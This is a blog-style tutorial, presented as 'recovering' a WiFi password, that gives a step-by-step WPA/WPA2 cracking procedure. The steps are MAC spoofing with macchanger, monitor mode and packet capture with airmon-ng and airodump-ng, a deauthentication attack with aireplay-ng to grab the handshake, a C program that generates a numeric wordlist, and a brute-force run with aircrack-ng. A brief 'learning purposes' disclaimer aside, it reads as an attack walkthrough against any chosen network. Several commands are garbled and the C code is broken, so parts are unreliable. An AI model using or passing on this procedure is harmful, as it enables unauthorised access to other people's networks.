LEARN CYBER SECURITY -- WIFI NETWORK (WPA/WPA2) CATCHING AND TESTING | RECOVER YOUR WIFI PASSWORD WITH LINUX
Linux operating system is known for its best security and defense. We are going to learn an applied and a powerful technique for recovering WiFi network (WPA/WPA2) using Linux. recovering WiFi has became harder by the time as it is now secured by WPA or WPA2 standards. We will be going through the methods, techniques, and the commands to recover WiFi networks (WPA/WPA2) using Linux.
- Kali Linux is preferred, but you can install any flavor of Linux
- You should have a fast Internet connection
- You should have words dictionary (If not, then download from the website told in the article below)
Important Note:
This article is for only learning purposes. It does not mean to harm someone or violate any law.Prerequisites for Recovering WiFi Network:
- You should have Linux operating system- Kali Linux is preferred, but you can install any flavor of Linux
- You should have a fast Internet connection
- You should have words dictionary (If not, then download from the website told in the article below)
We are going to Learn and Apply the Following for Recovering WiFi Networks (WPA/WPA2):
- WPA/WP2 Security
- Linux Commands for recovering wiFi Networks (WPA/WPA2)
- Linux Packages for recovering wiFi Networks (WPA/WPA2)
- Recovering WiFi Networks (WPA/WPA2)
- Uncovering WiFi Network (WPA/WPA2) Password/key
WPA/WPA2 Security:
WPA and WPA2 are the security standards designed and implemented by the WiFi alliance. WiFi Protected Access (WPA) has better authentication process and security as compared with wired networks. It provides secure and covered data encryption to the users so that recovering WiFi becomes more harder.These WiFi networks (WPA/WPA2) have a more secure algorithm and data encryption process for WiFi password or WiFi Key. But Linux is more powerful than other security system, Therefore we are going to decrypt these WiFi protocols.
We will be using the following Linux commands for our WiFi Network (WPA/WPA2) recovering tutorial.
Linux Commands For Recovering WiFi Networks(WPA/WPA2):
- ifconfig- ifconfig network_Interface down
- ifconfig network_interface up
- airmon-ng start network_interface
- airmon-ng check kill
- airodump-ng network_interface
- aireplay-ng
- aircrack-ng
Linux Packages For Recovering WiFi Networks(WPA/WPA2):
We will be using Linux Command Line interface for installing the above packages.- Installing Packages in Linux:
- HP-Laptop-15-bs1xx:~$ sudo apt-get install packageName
Package name stands for the the package you want to install. You have to install the required packages for which your command line demands. For example, you can simply install macchanger package as follows:
- HP-Laptop-15-bs1xx:~$ sudo apt-get install macchanger
Installing Packages in Linux |
Command line will ask you the root password before proceeding.
As you type your password, it will install the package on your system.
Recovering WiFi Networks (WPA/WPA2):
- Checking Network Configuration in Linux:
First of all, we have to check our network configuration by using the ifconfig command as shown below:- HP-Laptop-15-bs1xx:~$ ifconfig
You will see that after typing ifconfig and hitting enter, your network configurations would appear. It contain your IP address and information of all other connections you have. You have note your name of the connection in the last block of configuration starting with w. In my case, it is wlo1.
Result:
Checking Network Configuration in Linux |
- Deactivating Network Interface in Linux:
- HP-Laptop-15-bs1xx:~$ sudo ifconfig Network_Interface_here down
Not every feature gets enable while using internet connection, sometimes you need to down your network. Here is a look of command line when deactivating you network Interface:
Result:
Deactivating Network interface in Linux |
- Changing MAC address of network connection in Linux:
Now we need to change our MAC address, the syntax of the command below will allocate us a new MAC address:- HP-Laptop-15-bs1xx:~$ macchanger -m 00:11:22:33:44:55 Network_Interface
You will need to install its package in order to use it. However, macchanger command works in almost all Linux OS. This is what you will get after giving the specified Linux command:
Result:
Changing MAC address of Network Connection in Linux |
Important Note:
- HP-Laptop-15-bs1xx:~$ sudo apt-get install macchanger
Sudo Command in Linux |
- Activating Network Interface in Linux:
- HP-Laptop-15-bs1xx:~$ sudo ifconfig Network_Interface_here up
Now we need make our connection up again. For reactivating, you will require to type the above command in the snippet with your network interface.
Result:
Activating Network interface in Linux
Important Note:
Now, as you can check your network interface that it's mac address has changed to the MAC address we specified:
MAC address changing Linux Command
- Using airmon-ng check kill Command
airmon-ng check kill command in Linux kills the other network processes which is important before proceeding towards airodump-ng command. You can simply type the following:- HP-Laptop-15-bs1xx:~$ sudo airmon-ng check kill
Result:
the processes will be killed if any one of them running:Using airmon-ng check kill command |
- Using airmon-ng start Command
- HP-Laptop-15-bs1xx:~$ sudo airmon-ng start network_name
Result:
We will be using the network interface which is selected in the image below:Using airmon-ng start command |
- Capturing WiFi Network (WPA/WPA2)
In Linux operating system, we use airodump-ng command to catch a WiFi network. It is used to capture the network packets of Wireless connections. The syntax for airodump-ng command is as follows:- HP-Laptop-15-bs1xx:~$ sudo airodump-ng Network_Interface_Here
Result:
You will an interface as appears in the snippet below. You will be able to select from networks, use their ESSID, BSSID, Beacon, station, channel, and other things.Select any of the network and note its values (ESSID, BSSID, ch). You can press clt+c to stop the process.
- Getting WiFi Network (WPA/WPA2) Packets and Data
The syntax of command for gathering data is as follows:- HP-Laptop-15-bs1xx:~$ airodump-ng -c channel_Here --bssid BSSID_Here
- -w /root/recovering NetworkName
For instance:
Getting WiFi Network(WPA/WPA2) Packets and Data |
You will get into the particular network you selected to recover. You will now be able to see its BSSID, rates, frame, and other things.
- Now open up another terminal window and type as following. Try to replace the correct values in the command line by using the interface running in the other Terminal:
- HP-Laptop-15-bs1xx:~$ sudo aireplay-ng -(#/s) 10 -a BSSID network_name
This command will send 10 network packets to receive information in form of returning packets.
Result:
Congratulations! You have get WPA handshake now. You are doing very well!
Return to the previous terminal window and you will see the WiFi network WPA handshake on the top right corner. However, you can also find a few packet files in the recovering folder in your root directory.
- Creating a C-language file:
- Open up your text editor and type in the following C-language code:
- #include<stdio.h>
- int main() {
- int i;
- for(i=0; i<=99999999; i++)
- printf("%d\n*",i)
- return 0;
- }
Save this file as text.c. You can compile and run this file to check the combinations. For that, simple use the following code:
Compiling C-language file using Linux Command Line:
- HP-Laptop-15-bs1xx:~$ gcc text.c
Executing C-language file using Linux Command Line:
- HP-Laptop-15-bs1xx:~$ ./a.out
- Now simply save these combinations to a text file called "numbers.txt" by copying from Terminal or through the command line interface as shown below:
- HP-Laptop-15-bs1xx:~$ ./a.out >> /root/recovering/numbers.txt
Uncovering WiFi Network (WPA/WPA2) Password/Key:
For cracking the password, type the following command in the Linux command line interface:- HP-Laptop-15-bs1xx:~$ sudo aircrack-ng -a2 -b BSSID_Here -w
- /root/recovering/numbers.txt /root/recovering/*.cap
In my case:
Cracking WiFi Network (WPA/WPA2) Password/Key |
Result:
Finally, you have got the Wifi Network (WPA/WPA2) password/key!
You can also check out our some latest and trending articles on Technology and Cyber Secuirty:
0 Comments
Your comments and interesting view make our day!